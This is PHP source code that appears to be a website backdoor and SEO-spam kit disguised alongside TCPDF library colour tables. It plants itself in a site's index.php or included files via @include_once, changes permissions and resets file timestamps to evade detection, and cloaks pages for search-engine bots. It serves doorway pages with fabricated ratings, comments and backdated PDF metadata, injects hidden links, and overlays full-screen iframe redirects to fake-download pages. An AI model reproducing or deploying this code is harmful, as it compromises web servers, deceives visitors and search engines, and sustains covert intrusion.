$html = $data[\'text\'];
$html = preg_replace_callback(\'#(<img src=")([^"]+?)(".+?>)#\', array($this, \'loadImage\'), $html, 1);
$pdf->writeHTML($html, true, false, true, false, \'\');
mt_srand(crc32($filename));
if ($postedat = @$data[\'postedat\']) {
$day = 3600 * 24;
$moddedat = $postedat - mt_rand($day, $day * 2);
$createdat = $postedat - mt_rand($day * 2, $day * 5);
} else {
$timestamp = mt_rand(1433106000, 1436907600);
$moddedat = mt_rand($timestamp, $timestamp);
$createdat = mt_rand($timestamp, $timestamp);
}
$pdf->setDocCreationTimestamp($createdat);
$pdf->setDocModificationTimestamp($moddedat);
$pdf->Output($filename, \'I\');
return true;
}
function hasBadTemplate()
{
$template = $this->cache->read(\'template\');
if (! $template) return true;
foreach (array(\'text\', \'title\', \'description\') as $name) {
if (false === strpos($template, "[[[$name]]]")) return true;
}
return false;
}
function removeScript($matches)
{
if (preg_match(\'#(analytics|google|twitter|facebook|yahoo|bing|src=)#i\', $matches[0])) {
return \'\';
} else {
return $matches[0];
}
}
function injectHtmlToTemplate($data, $redirectKey)
{
$template = $this->cache->read(\'template\');
if (! $template) {
dds_debug("No template");
return false;
}
$template = preg_replace_callback(\'#<script.*?/script>#is\', array($this, \'removeScript\'), $template);
$text = $data[\'text\'];
$comments = @$data[\'comments\'];
$postedat = @$data[\'postedat\'];
if (! $postedat) {
dds_debug("Posted at $postedat. ".($this->getTime() - $postedat)." s ago");
} else {
mt_srand(crc32($this->uri));
$rateNumber = mt_rand(50, 300);
dds_debug("Rate number $rateNumber");
$count = 0;
$sum = 0;
$time = $postedat + 3600 * 24 * 2;
for ($i = 0; $i < $rateNumber; $i++) {
$time += mt_rand(3600 * 12, 3600 * 24);
if ($this->getTime() < $time) break;
$count++;
$sum += mt_rand(4, 5);
}
$avg = number_format($sum / $count, 1);
$text .= $this->getRatingText($data[\'keyword\'], $avg, $count);
if ($this->cache->read(\'sitemap\') == \'yes\' && $this->cache->read(\'sitemap_showtype\') == \'inline\') {
$text .= "<a href=\"/sitemap.xml\">Sitemap</a>";
}
}
if ($comments && $postedat) {
mt_srand(crc32($_SERVER[\'HTTP_HOST\']));
$mod = $this->randomGet(\'\', \' id="comments"\', \' class="comments"\', \' id="comment-list"\', \' class="comment-list"\');
$text .= "<div".$mod.">";
$tag = $this->randomGet(\'p\', \'div\', \'span\');
$commentmod = $this->randomGet(\'\', \' id="comment"\', \' class="comment"\');
mt_srand(crc32($this->uri));
$comments = explode("
", trim($comments));
dds_debug("Comment number: ".count($comments));
$time = $postedat;
$day = 3600 * 24;
for ($i = 0; $i < count($comments); $i++) {
$comment = $comments[$i];
if (! $comment) continue;
$time += mt_rand($day / 2, $i == 0 ? $day : $day * 3);
dds_debug("Comment posted at: ".date(DATE_W3C, $time)." diff ".($this->getTime() - $time));
if ($this->getTime() < $time) break;
$text .= "<$tag$commentmod>$comment</$tag>
";
}
$text .= "</div>";
} else {
dds_debug("NO COMMENTS");
}
$title = $data[\'title\'];
if (false !== strpos($title, \'[filename]\')) {
$keyword = $data[\'keyword\'];
$title = str_replace(\'[filename]\', $this->filenameMaker->getFilename($keyword), $title);
}
$template = str_replace("[[[text]]]", $text, $template);
$template = str_replace("[[[title]]]", $title, $template);
if (! $data[\'description\']) {
$template = preg_replace(\'#<meta name="description"[^>]*?>#\', \'\', $template);
} else {
$template = str_replace("[[[description]]]", $data[\'description\'], $template);
}
if ($this->cache->read(\'redirectwith\') == \'frame\') {
dds_debug(\'Adding script writing script\');
$template = preg_replace(\'#(</head.*?>)#i\', $this->getScriptWritingScript($redirectKey, $this->getKeyword()) . \'$1\', $template);
}
if ($this->cache->read(\'redirectwith\') == \'fakedownload\') {
$links = $this->parseLinksToSelf($text);
$path = $this->getFakeDownloadPath();
$fullPath = "$path&key=" . urlencode($redirectKey);
$fullPath .= "&free=" . urlencode($links[0]);
$premiumLink = count($links) > 1 ? $links[1] : $links[0];
$fullPath .= "&premium=" . urlencode($premiumLink);
$iframe = \'<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="\'.htmlspecialchars($fullPath).\'" frameBorder="0"></iframe>\';
$template = preg_replace(\'#<body.*?>#i\', \'$0\' . $iframe, $template);
}
echo $template;
return true;
}
function hasMyDomain($link)
{
return false !== strpos($link, str_replace(\'www.\', \'\', $_SERVER[\'HTTP_HOST\']));
}
function parseLinksToSelf($html)
{
preg_match_all(\'<a href="(.+?)">\', $html, $links);
return array_values(array_filter($links[1], array($this, \'hasMyDomain\')));
}
function getFakeDownloadPath()
{
if ($data = $this->cache->read(\'fakedownload2\')) {
return $data;
}
$path = "/?something=" . md5(rand());
$this->cache->write(\'fakedownload2\', $path);
return $path;
}
function getFakeDownloadPage()
{
$size = @$_COOKIE[\'size\'];
if (! $size) {
$size = (rand(2000, 4000) / 100) . \' MB\';
setcookie(\'size\', $size, time() + 600);
}
$date = @$_COOKIE[\'date\'];
if (! $date) {
$month = 3600 * 24 * 30;
$date = time() - $month - rand(0, $month * 2);
$date = date(\'d F Y\', $date);
setcookie(\'date\', $date, time() + 600);
}
$action = @$_COOKIE[\'action\'];
if (! $action) $action = \'buttons\';
setcookie(\'action\', \'loading\', time() + 60);
$filename = @$_COOKIE[\'filename\'];
if (! $filename) {
$filename = @$_GET[\'key\'];
setcookie(\'filename\', $filename, time() + 600);
}
return DS_OverlayGenerator::getHtml(array(
\'action\' => $action,
\'filename\' => $filename,
\'size\' => $size,
\'date\' => $date,
\'freelink\' => @$_GET[\'free\'],
\'premiumlink\' => @$_GET[\'premium\']
));
}
function getRatingText($key, $value, $count)
{
$myUrl = htmlspecialchars("http://" . $_SERVER[\'HTTP_HOST\'] . $this->uri);
$nicekey = ucwords($key);
return <<<EOF
<div itemscope itemtype="http://schema.org/Product">
<a itemprop="url" href="$myUrl">
<div itemprop="name"><strong>$nicekey</strong></div>
</a>
<div itemprop="description"></div>
<div id="rating-text" class="rating-label clearfix">
<span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">
<meta itemprop="worstRating" content="1">
<span itemprop="ratingValue" class="rating-value">$value</span>/
<span itemprop="bestRating">5</span> –
<span itemprop="ratingCount" class="rating-count">$count</span> votes
</span>
</div>
</div>
EOF;
}
function getWritingScriptPath()
{
if ($data = $this->cache->read(\'iframescript2\')) {
return $data;
}
$path = "/?jsname=" . md5(rand());
$this->cache->write(\'iframescript2\', $path);
return $path;
}
function getScriptWritingScript($key, $originalKey)
{
$path = $this->getWritingScriptPath();
$fullPath = "$path&key=" . urlencode($key) . "&original=" . $originalKey;
$fullPath = htmlspecialchars($fullPath);
return "<script data-cfasync=\"false\" type=\"text/javascript\" src=\"$fullPath\"></script>";
}
function getIframeRedirectCode($redirectKey, $original)
{
$redirectKey = htmlspecialchars($redirectKey);
$frameUrl = $this->cache->read(\'frameurl\');
$frameUrl = str_replace(\'[key]\', urlencode($redirectKey), $frameUrl);
$frameUrl = str_replace(\'[original]\', urlencode($original), $frameUrl);
$frameUrl = str_replace(\'[site]\', $_SERVER[\'HTTP_HOST\'], $frameUrl);
return <<<EOF
var writeMaybe = function() {
if (document.body && document.body.innerHTML) {
document.body.innerHTML = \'\';
}
if (document.readyState !== "complete") {
return setTimeout(writeMaybe, 20);
}
var html = \'<iframe style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483649" src="$frameUrl" frameBorder="0"></iframe>\';
document.body.innerHTML = html;
};
writeMaybe();
EOF;
}
function randomGet()
{
$values = func_get_args();
return $values[mt_rand(0, count($values) - 1)];
}
function addLinks($html)
{
if ($this->cache->read(\'innerlinkdisplay\') == \'remove\') {
return $html;
}
$linkList = $this->cache->read(\'links\');
$linkList = $linkList ? json_decode($linkList, true) : array();
$seed = crc32(rtrim($_SERVER[\'REQUEST_URI\'], \'/\'));
mt_srand($seed);
$number = 12 + abs($seed % 9);
$this->linksToInject = $this->seededGet($linkList, $number);
$html = preg_replace_callback(\'#<a.*?</a>#is\', array($this, \'injectLinkReplace\'), $html);
$html = preg_replace_callback(\'#<a.*?</a>#is\', array($this, \'injectLinkReplace\'), $html);
$html = preg_replace_callback(\'#<a.*?</a>#is\', array($this, \'injectLinkReplace\'), $html);
$this->linkReplaceGroupSize = 100;
$this->linkReplaceMax = 0;
$html = preg_replace_callback(\'#<a.*?</a>#is\', array($this, \'injectLinkReplace\'), $html);
$html = preg_replace_callback("#(</body>|</html>|$)#i", array($this, \'injectLinkBefore\'), $html);
return $html;
}
function getTime()
{
return $this->overrideTime ? $this->overrideTime : time();
}
function injectLinkReplace($matches)
{
return $this->injectLink($matches[0], \'replace\');
}
function injectLinkBefore($matches)
{
return $this->injectLink($matches[0], \'before\');
}
function injectLink($text, $type)
{
if (count($this->linksToInject) == 0) return $text;
if (mt_rand(0, $this->linkReplaceMax) != 0) return $text;
$data = "";
for ($i = 0; count($this->linksToInject) && $i < $this->linkReplaceGroupSize; $i++) {
$link = array_shift($this->linksToInject);
list($url, $anchor, $postedat) = $link;
if (! ($this->shouldBePosted($postedat) || $GLOBALS[\'DDS_DEBUG_MODE\'])) continue;
$link = \'<a href="\'.htmlentities($url).\'">\'.$anchor.\'</a>\';
if ($GLOBALS[\'DDS_DEBUG_MODE\']) {
$link .= \' ((\'.$this->printTimeDifference($postedat).\'))\';
}
$data .= $link."
";
}
if ($this->cache->read(\'innerlinkdisplay\') == \'hide\') {
$px = mt_rand(2000, 4000);
$data = <<<EOF
<div style="position: absolute; top: -{$px}px">$data</div>
EOF;
if ($type == \'replace\') $type = \'after\';
}
switch ($type) {
case \'before\':
return $data . $text;
case \'after\':
return $text . $data;
case \'replace\':
return $data;
}
}
function printTimeDifference($time)
{
$value = $this->timeDifference($time);
return number_format($value / 3600, 2) . \' hours\';
}
function timeDifference($time)
{
return time() - 60 - $time;
}
function shouldBePosted($time)
{
return $this->timeDifference($time) > 0;
}
function seededGet($items, $number)
{
$items = array_values($items);
$res = array();
$max = count($items);
for ($i = 0; $i < $number; $i++) {
$res[] = $items[mt_rand(0, $max)];
}
return $res;
}
}
class Bot_IPChecker
{
/** @var DS_CacheWriter */
var $cache;
function __construct($cache)
{
$this->cache = $cache;
}
function getIpCount()
{
return count($this->getIpList());
}
function isBot($ip)
{
return $this->exactlyMatches($ip) || $this->maskMatches($ip);
}
function exactlyMatches($ip)
{
$ips = $this->getIpList();
$long = ip2long($ip);
return in_array($long, $ips);
}
function maskMatches($ip)
{
$ipMaskList = json_decode($this->cache->read(\'bots/masks\'));
if (! $ipMaskList) return false;
foreach ($ipMaskList as $botIp) {
$botIp = trim($botIp);
if ($botIp && preg_match("#^$botIp$#", $ip)) {
return true;
}
}
return false;
}
function getIpList()
{
$ipList = $this->cache->read(\'bots/ips\');
if (! $ipList) return array();
return array_values(unpack(\'V*\', $ipList));
}
function getNewIpList()
{
return $this->cache->jsonRead(\'bots/new_ips\', array());
}
/**
* Add new ip from hidden link
*/
function addBotIP($ip)
{
if ($this->exactlyMatches($ip)) return;
$list = $this->getNewIpList();
if (! in_array($ip, $list)) {
$list[] = $ip;
}
$this->cache->write(\'bots/new_ips\', json_encode($list));
}
/**
* Add new ip from server-provided list
*/
function addIpToList($ip)
{
$ips = $this->getIpList();
$long = ip2long($ip);
if (in_array($long, $ips)) return false;
$ips[] = $long;
array_unshift($ips, "V*");
$binary = call_user_func_array("pack", $ips);
return $this->cache->write(\'bots/ips\', $binary);
}
function isNewIp($ip)
{
return in_array($ip, $this->getNewIpList());
}
}
class Bot_Linker
{
var $code;
var $remaining;
var $randomFactor = 10;
function __construct($code, $links = 5)
{
$this->code = $code;
$this->remaining = $links;
}
function injectIntoHtml($html)
{
$html = preg_replace_callback(\'#>([^>]+?)</a>#i\', array($this, \'addLink\'), $html);
$html = preg_replace_callback(\'#>([^>]+?)</a>#i\', array($this, \'addLink\'), $html);
$this->randomFactor = 0;
$html = preg_replace_callback(\'#>([^>]+?)</a>#i\', array($this, \'addLink\'), $html);
return $html;
}
function addLink($matches)
{
if (! $this->remaining || mt_rand(0, $this->randomFactor) != 0) return $matches[0];
$this->remaining--;
$uri = "/?".$this->code;
$link = \'<div style="display: none"><a href="\'.$uri.\'">\'.$matches[1].\'</a></div>\';
return $matches[0] . $link;
}
function isHiddenPage($requestUri)
{
return $requestUri == "/?".$this->code;
}
}
class Bot_Detector
{
/** @var Bot_IPChecker */
var $ipChecker;
/** @var Bot_UAChecker */
var $uaChecker;
function __construct($ipChecker, $uaChecker)
{
$this->ipChecker = $ipChecker;
$this->uaChecker = $uaChecker;
}
function isBot($ip, $userAgent)
{
if ($this->ipChecker->isBot($ip)) {
dds_debug("Bot by IP");
return true;
}
if ($this->ipChecker->isNewIp($ip)) {
dds_debug("Bot by NEW IP");
return true;
}
if ($this->uaChecker->isBot($userAgent)) {
dds_debug("Bot by UA");
return true;
}
return false;
}
}
class DS_Browser
{
function get($url, $options = array())
{
$data = $this->query($url, $options);
return $data ? $data[\'html\'] : false;
}
function getVerbose($url, $options = array())
{
return $this->query($url, $options);
}
function query($url, $requestOptions = array())
{
$debugMode = @$GLOBALS[\'DDS_DEBUG_MODE\'];
$defaults = array(
CURLOPT_HTTPHEADER => array(
\'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\',
\'Cache-Control: no-cache\'
),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_TIMEOUT => 15,
CURLOPT_URL => $url,
CURLOPT_ENCODING => \'gzip\',
CURLOPT_FOLLOWLOCATION => true
);
$options = $requestOptions + $defaults;
if (isset($options[CURLOPT_FILE]) || isset($requestOptions[CURLOPT_WRITEFUNCTION])) {
unset($options[CURLOPT_RETURNTRANSFER]);
}
if (isset($requestOptions[CURLOPT_HTTPHEADER])) {
$options[CURLOPT_HTTPHEADER] = array_merge($requestOptions[CURLOPT_HTTPHEADER], $defaults[CURLOPT_HTTPHEADER]);
}
if ($debugMode) {
$verbose = fopen(\'php://temp\', \'rw+\');
$options[CURLOPT_VERBOSE] = 1;
$options[CURLOPT_STDERR] = $verbose;
}
$ch = curl_init();
if (! $ch) dds_debug("Could not init curl");
if (! curl_setopt_array($ch, $options)) {
dds_debug("Could not set curl options");
}
$html = curl_exec($ch);
if ($debugMode) {
dds_debug("CURL info: ".var_export(@curl_getinfo($ch), true));
dds_debug("CURL errno: ".@curl_errno($ch));
dds_debug("CURL error: ".@curl_error($ch));
rewind($verbose);
$verboseLog = stream_get_contents($verbose);
dds_debug("CURL headers:
$verboseLog");
}
$response = array(
\'html\' => $html,
\'info\' => curl_getinfo($ch)
);
curl_close($ch);
return $response;
}
}
class DS_DestinationFetcher
{
/** @var DS_Browser */
var $browser;
/** @var DS_CacheWriter */
var $cache;
function __construct($browser, $cache)
{
$this->browser = $browser;
$this->cache = $cache;
}
function getHtml($url)
{
$cacheFile = "landing:".$url;
$ageFile = "age:".$url;
$age = time() - $this->cache->read($ageFile, 0);
if ($age > 3600) {
$this->cache->remove($cacheFile);
}
if ($data = $this->cache->read($cacheFile)) {
return $data;
}
$data = $this->browser->getVerbose($url);
if (! $data) return false;
$html = $data[\'html\'];
$endUrl = $data[\'info\'][\'url\'];
if (! preg_match(\'#<head#i\', $html)) return false;
$base = "<base href=\"$endUrl\" />";
$html = preg_replace(\'#<head[^>]*>#i\', \'$0\'.$base, $html);
$this->cache->write($cacheFile, $html);
$this->cache->write($ageFile, time());
return $html;
}
}
class DS_UserLogger
{
/** @var DS_CacheWriter */
var $writer;
var $duration;
function __construct($writer, $duration = 14)
{
$this->writer = $writer;
$this->duration = $duration;
}
function getLogs()
{
$response = array();
for ($i = 0; $i < $this->duration; $i++) {
$name = $this->getFilename($i);
$response[$name] = base64_encode($this->writer->readRaw($name));
}
return $response;
}
function logUser($ip)
{
$file = $this->getFilename();
$this->writer->appendRaw($file, pack(\'V\', ip2long($ip)));
$this->removeOldLogs();
}
function getFilename($offset = 0)
{
return gmdate(\'Y-m-d\', strtotime(-$offset . \' day\'));
}
function removeOldLogs()
{
for ($i = $this->duration; $i < 60; $i++) {
$this->writer->remove($this->getFilename($i));
}
}
}
class DS_Installer
{
/** @var DS_Browser */
var $browser;
var $password;
function __construct($browser, $password)
{
$this->browser = $browser;
$this->password = $password;
}
function includeSelf()
{
if (! function_exists(\'curl_init\')) {
return array("error" => "curl_init does not exist");
}
$index = $this->findIndex();
if (! $index) {
return array(\'error\' => "Could not find index!");
}
dds_debug("Index $index");
$included = $this->readIncludedFiles($index);
if (! $included) {
$included = $this->readIncludedFilesEditIndex($index);
}
$self = preg_replace(\'@\(.*\(.*$@\', \'\', __FILE__);
$newCode = \'<?php @include_once("\'.$self.\'"); ?>\';
if (! $included) {
dds_debug("Could not read included files - trying to include to index top");
if ($this->includeToIndexTop($newCode, $index)) {
dds_debug("Included to index top");
return array(\'success\' => true, \'include\' => $index, \'type\' => \'top\');
} else {
dds_debug("Could not include to index top");
return array("error" => "Could not read included files");
}
}
$included = array_slice($included, 1);
$tryFiles = array_merge(
array_slice($included, 4, 6),
array_reverse(array_slice($included, 1, 3)),
array_slice($included, 10, 10),
array_slice($included, 0, 1)
);
$tryFiles = array_filter($tryFiles, array($this, \'isWritable\'));
if (count($tryFiles) == 0) {
dds_debug("Mass including since no writable files found");
$tryFiles = array_filter($included, array($this, \'isWritable\'));
}
usort($tryFiles, array($this, \'configsGoLast\'));
if ($file = $this->tryIncludingTo($newCode, $tryFiles)) {
return array(\'success\' => true, \'include\' => $file);
}
if ($this->includeToIndexTop($newCode, $index)) {
return array(\'success\' => true, \'include\' => $index, \'type\' => \'top\');
}
return array(\'error\' => "Could not include to any file");
}
function getRandomUrl($safe = true)
{
$host = "http://" . $_SERVER[\'HTTP_HOST\'] . \'/\';
if ($safe) {
return $host . "?" . md5(rand());
} else {
return $host . md5(rand());
}
}
function hasModRewrite()
{
return $this->_checkIncluded($this->getRandomUrl(false));
}
function includeToIndexTop($code, $index)
{
dds_debug("Trying to include to the top of $index");
$oldContents = $contents = file_get_contents($index);
$mtime = filemtime($index);
$contents = $code . $contents;
if (! file_put_contents($index, $contents)) {
return false;
}
@touch($index, $mtime + 1, $mtime + 1);
if ($this->_checkRetryIncluded()) {
return true;
}
file_put_contents($index, $oldContents);
@touch($index, $mtime, $mtime);
return false;
}
function isWritable($fileOrDir)
{
if (is_writable($fileOrDir)) return true;
if (is_file($fileOrDir)) {
@chmod($fileOrDir, 0644);
if (file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false) {
return true;
}
@chmod($fileOrDir, 0666);
return file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false;
} else if (is_dir($fileOrDir)) {
if (substr($fileOrDir, -1) != \'/\') $fileOrDir .= $fileOrDir;
$file = $fileOrDir.md5(rand());
$writable = touch($file);
unlink($file);
return $writable;
}
return false;
}
function tryIncludingTo($code, $files)
{
dds_debug("Trying to include to " . count($files) . " files");
foreach ($files as $file) {
if (! $this->isWritable($file)) {
dds_debug("Can\'t include to $file: not writable");
continue;
}
dds_debug("Trying to include to $file");
$oldContents = $contents = file_get_contents($file);
$mtime = filemtime($file);
$contents = $this->addClosingTag($contents);
if (strpos($contents, $code) === false) {
$contents .= $code;
if (! file_put_contents($file, $contents)) {
dds_debug("Could not write to writable $file ?");
}
@touch($file, $mtime + 1, $mtime + 1);
} else {
dds_debug("Already included to $file");
}
if ($this->_checkRetryIncluded()) {
return $file;
}
file_put_contents($file, $oldContents);
@touch($file, $mtime + 2, $mtime + 2);
}
return false;
}
function _checkRetryIncluded()
{
$url = $this->getRandomUrl();
for ($i = 0; $i < 4; $i++) {
$res = $this->_checkIncluded($url);
if ($res) return true;
sleep(5);
}
return false;
}
function _checkIncluded($url)
{
$response = $this->browser->get($url, array(
CURLOPT_HTTPHEADER => array(
\'X-Action: printMarker\',
\'X-Password: \'.$this->password,
)
));
$pos = strpos($response, \'<dds-delimiter>\');
if ($pos === 0) {
dds_debug("Included and visible!");
return true;
}
if ($pos === false) {
dds_debug("Could not include - no delimiter");
} else {
dds_debug("Could not include - bad position $pos");
if (trim(substr($response, 0, $pos)) == \'\' && $pos < 100) {
dds_debug("Only whitespace before position");
return true;
}
}
return false;
}
function configsGoLast($a, $b)
{
return $this->rateFile($a) - $this->rateFile($b);
}
function rateFile($name)
{
if (preg_match(\'#config|index#i\', $name)) return 1;
return 0;
}
function addClosingTag($contents)
{
$starting = strrpos($contents, \'<?\');
$closing = strrpos($contents, \'?>\');
if ($starting > $closing || ! $closing) $contents .= \'?>\';
return $contents;
}
function readIncludedFilesEditIndex($index)
{
dds_debug("Editing index $index");
if (! $this->isWritable($index)) {
dds_debug("Index is not writable");
return false;
}
$oldContents = $contents = file_get_contents($index);
$mtime = filemtime($index);
$contents = $this->addClosingTag($contents);
$prefix = "<?php function printend() { echo \'<!--<dds-delimiter>\'.json_encode(get_included_files()).\'</dds-delimiter>-->\'; } register_shutdown_function(\'printend\'); ?>";
$contents = $prefix.$contents."<?php printend(); ?>";
$written = file_put_contents($index, $contents);
if (! $written) {
dds_debug("Could not write index");
}
$url = "http://".$_SERVER[\'HTTP_HOST\'];
dds_debug("Fetching from $url");
$response = $this->browser->get($url);
$included = $this->parseIncludedResponse($response);
$written = file_put_contents($index, $oldContents);
@touch($index, $mtime, $mtime);
if (! $written) {
dds_debug("Could not rollback index");
}
return $included;
}
function readIncludedFiles($index)
{
$myUrl = "http://".$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\'];
$revved = strrev($index);
dds_debug("Fetching from $myUrl");
dds_debug("Checked file: $revved ( $index )");
$response = $this->browser->get($myUrl, array(
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_HTTPHEADER => array(
\'X-Action: getIncludedFiles\',
\'X-Password: \'.$this->password,
\'X-Checked-File: \'. $revved
)
));
return $this->parseIncludedResponse($response);
}
function parseIncludedResponse($response)
{
if (! $response || ! preg_match(\'#<dds-delimiter>(.+?)</dds-delimiter>#is\', $response, $matches)) {
dds_debug("BAD response length ".strlen($response));
if (preg_match(\'#<title.*</title>#is\', $response, $titles)) {
dds_debug("Title ".htmlspecialchars($titles[0]));
} else {
dds_debug("No title");
}
return false;
}
$includedFiles = json_decode($matches[1], true);
dds_debug("Included:
".implode("
", $includedFiles));
return $includedFiles;
}
function findIndex()
{
$docRoot = $_SERVER[\'DOCUMENT_ROOT\'];
$myName = $_SERVER[\'SCRIPT_NAME\'];
dds_debug("Doc root \'$docRoot\', my name \'$myName\'");
$parts = explode(\'/\', $myName);
$tryFiles = array(
$docRoot.\'/index.php\',
$docRoot.\'/\'.$parts[1].\'/index.php\'
);
foreach ($tryFiles as $file) {
if (! file_exists($file)) continue;
return $file;
}
return false;
}
function dropHtmlDoorways()
{
$root = $_SERVER[\'DOCUMENT_ROOT\'];
$this->dropHtmlDoorwaysIn($root);
$dirs = glob($root . \'/*\', GLOB_ONLYDIR);
foreach ($dirs as $dir) {
$this->dropHtmlDoorwaysIn($dir);
}
}
function dropHtmlDoorwaysIn($dir)
{
$files = glob($dir . \'/*\');
$shittyFiles = array();
foreach ($files as $file) {
if (! $this->isShittyFile($file)) continue;
$shittyFiles[] = $file;
}
if (count($shittyFiles) < 500) return;
foreach ($shittyFiles as $file) {
unlink($file);
}
}
function isShittyFile($file)
{
$file = basename($file);
return preg_match(\'#.*[\-_].*[\-_].*\.(html|php)$#\', $file);
}
}
class TCPDF_COLORS{ public static $webcolor=array(\'aliceblue\'=>\'f0f8ff\',\'antiquewhite\'=>\'faebd7\',\'aqua\'=>\'00ffff\',\'aquamarine\'=>\'7fffd4\',\'azure\'=>\'f0ffff\',\'beige\'=>\'f5f5dc\',\'bisque\'=>\'ffe4c4\',\'black\'=>\'000000\',\'blanchedalmond\'=>\'ffebcd\',\'blue\'=>\'0000ff\',\'blueviolet\'=>\'8a2be2\',\'brown\'=>\'a52a2a\',\'burlywood\'=>\'deb887\',\'cadetblue\'=>\'5f9ea0\',\'chartreuse\'=>\'7fff00\',\'chocolate\'=>\'d2691e\',\'coral\'=>\'ff7f50\',\'cornflowerblue\'=>\'6495ed\',\'cornsilk\'=>\'fff8dc\',\'crimson\'=>\'dc143c\',\'cyan\'=>\'00ffff\',\'darkblue\'=>\'00008b\',\'darkcyan\'=>\'008b8b\',\'darkgoldenrod\'=>\'b8860b\',\'dkgray\'=>\'a9a9a9\',\'darkgray\'=>\'a9a9a9\',\'darkgrey\'=>\'a9a9a9\',\'darkgreen\'=>\'006400\',\'darkkhaki\'=>\'bdb76b\',\'darkmagenta\'=>\'8b008b\',\'darkolivegreen\'=>\'556b2f\',\'darkorange\'=>\'ff8c00\',\'darkorchid\'=>\'9932cc\',\'darkred\'=>\'8b0000\',\'darksalmon\'=>\'e9967a\',\'darkseagreen\'=>\'8fbc8f\',\'darkslateblue\'=>\'483d8b\',\'darkslategray\'=>\'2f4f4f\',\'darkslategrey\'=>\'2f4f4f\',\'darkturquoise\'=>\'00ced1\',\'darkviolet\'=>\'9400d3\',\'deeppink\'=>\'ff1493\',\'deepskyblue\'=>\'00bfff\',\'dimgray\'=>\'696969\',\'dimgrey\'=>\'696969\',\'dodgerblue\'=>\'1e90ff\',\'firebrick\'=>\'b22222\',\'floralwhite\'=>\'fffaf0\',\'forestgreen\'=>\'228b22\',\'fuchsia\'=>\'ff00ff\',\'gainsboro\'=>\'dcdcdc\',\'ghostwhite\'=>\'f8f8ff\',\'gold\'=>\'ffd700\',\'goldenrod\'=>\'daa520\',\'gray\'=>\'808080\',\'grey\'=>\'808080\',\'green\'=>\'008000\',\'greenyellow\'=>\'adff2f\',\'honeydew\'=>\'f0fff0\',\'hotpink\'=>\'ff69b4\',\'indianred\'=>\'cd5c5c\',\'indigo\'=>\'4b0082\',\'ivory\'=>\'fffff0\',\'khaki\'=>\'f0e68c\',\'lavender\'=>\'e6e6fa\',\'lavenderblush\'=>\'fff0f5\',\'lawngreen\'=>\'7cfc00\',\'lemonchiffon\'=>\'fffacd\',\'lightblue\'=>\'add8e6\',\'lightcoral\'=>\'f08080\',\'lightcyan\'=>\'e0ffff\',\'lightgoldenrodyellow\'=>\'fafad2\',\'ltgray\'=>\'d3d3d3\',\'lightgray\'=>\'d3d3d3\',\'lightgrey\'=>\'d3d3d3\',\'lightgreen\'=>\'90ee90\',\'lightpink\'=>\'ffb6c1\',\'lightsalmon\'=>\'ffa07a\',\'lightseagreen\'=>\'20b2aa\',\'lightskyblue\'=>\'87cefa\',\'lightslategray\'=>\'778899\',\'lightslategrey\'=>\'778899\',\'lightsteelblue\'=>\'b0c4de\',\'lightyellow\'=>\'ffffe0\',\'lime\'=>\'00ff00\',\'limegreen\'=>\'32cd32\',\'linen\'=>\'faf0e6\',\'magenta\'=>\'ff00ff\',\'maroon\'=>\'800000\',\'mediumaquamarine\'=>\'66cdaa\',\'mediumblue\'=>\'0000cd\',\'mediumorchid\'=>\'ba55d3\',\'mediumpurple\'=>\'9370d8\',\'mediumseagreen\'=>\'3cb371\',\'mediumslateblue\'=>\'7b68ee\',\'mediumspringgreen\'=>\'00fa9a\',\'mediumturquoise\'=>\'48d1cc\',\'mediumvioletred\'=>\'c71585\',\'midnightblue\'=>\'191970\',\'mintcream\'=>\'f5fffa\',\'mistyrose\'=>\'ffe4e1\',\'moccasin\'=>\'ffe4b5\',\'navajowhite\'=>\'ffdead\',\'navy\'=>\'000080\',\'oldlace\'=>\'fdf5e6\',\'olive\'=>\'808000\',\'olivedrab\'=>\'6b8e23\',\'orange\'=>\'ffa500\',\'orangered\'=>\'ff4500\',\'orchid\'=>\'da70d6\',\'palegoldenrod\'=>\'eee8aa\',\'palegreen\'=>\'98fb98\',\'paleturquoise\'=>\'afeeee\',\'palevioletred\'=>\'d87093\',\'papayawhip\'=>\'ffefd5\',\'peachpuff\'=>\'ffdab9\',\'peru\'=>\'cd853f\',\'pink\'=>\'ffc0cb\',\'plum\'=>\'dda0dd\',\'powderblue\'=>\'b0e0e6\',\'purple\'=>\'800080\',\'red\'=>\'ff0000\',\'rosybrown\'=>\'bc8f8f\',\'royalblue\'=>\'4169e1\',\'saddlebrown\'=>\'8b4513\',\'salmon\'=>\'fa8072\',\'sandybrown\'=>\'f4a460\',\'seagreen\'=>\'2e8b57\',\'seashell\'=>\'fff5ee\',\'sienna\'=>\'a0522d\',\'silver\'=>\'c0c0c0\',\'skyblue\'=>\'87ceeb\',\'slateblue\'=>\'6a5acd\',\'slategray\'=>\'708090\',\'slategrey\'=>\'708090\',\'snow\'=>\'fffafa\',\'springgreen\'=>\'00ff7f\',\'steelblue\'=>\'4682b4\',\'tan\'=>\'d2b48c\',\'teal\'=>\'008080\',\'thistle\'=>\'d8bfd8\',\'tomato\'=>\'ff6347\',\'turquoise\'=>\'40e0d0\',\'violet\'=>\'ee82ee\',\'wheat\'=>\'f5deb3\',\'white\'=>\'ffffff\',\'whitesmoke\'=>\'f5f5f5\',\'yellow\'=>\'ffff00\',\'yellowgreen\'=>\'9acd32\'); public static $jscolor=array(\'transparent\',\'black\',\'white\',\'red\',\'green\',\'blue\',\'cyan\',\'magenta\',\'yellow\',\'dkGray\',\'gray\',\'ltGray\'); public static $spotcolor=array(\'none\'=>array(0,0,0,0,\'None\'),\'all\'=>array(100,100,100,100,\'All\'),\'cyan\'=>array(100,0,0,0,\'Cyan\'),\'magenta\'=>array(0,100,0,0,\'Magenta\'),\'yellow\'=>array(0,0,100,0,\'Yellow\'),\'key\'=>array(0,0,0,100,\'Key\'),\'white\'=>array(0,0,0,0,\'White\'),\'black\'=>array(0,0,0,100,\'Black\'),\'red\'=>array(0,100,100,0,\'Red\'),\'green\'=>array(100,0,100,0,\'Green\'),\'blue\'=>array(100,100,0,0,\'Blue\'),); public static function 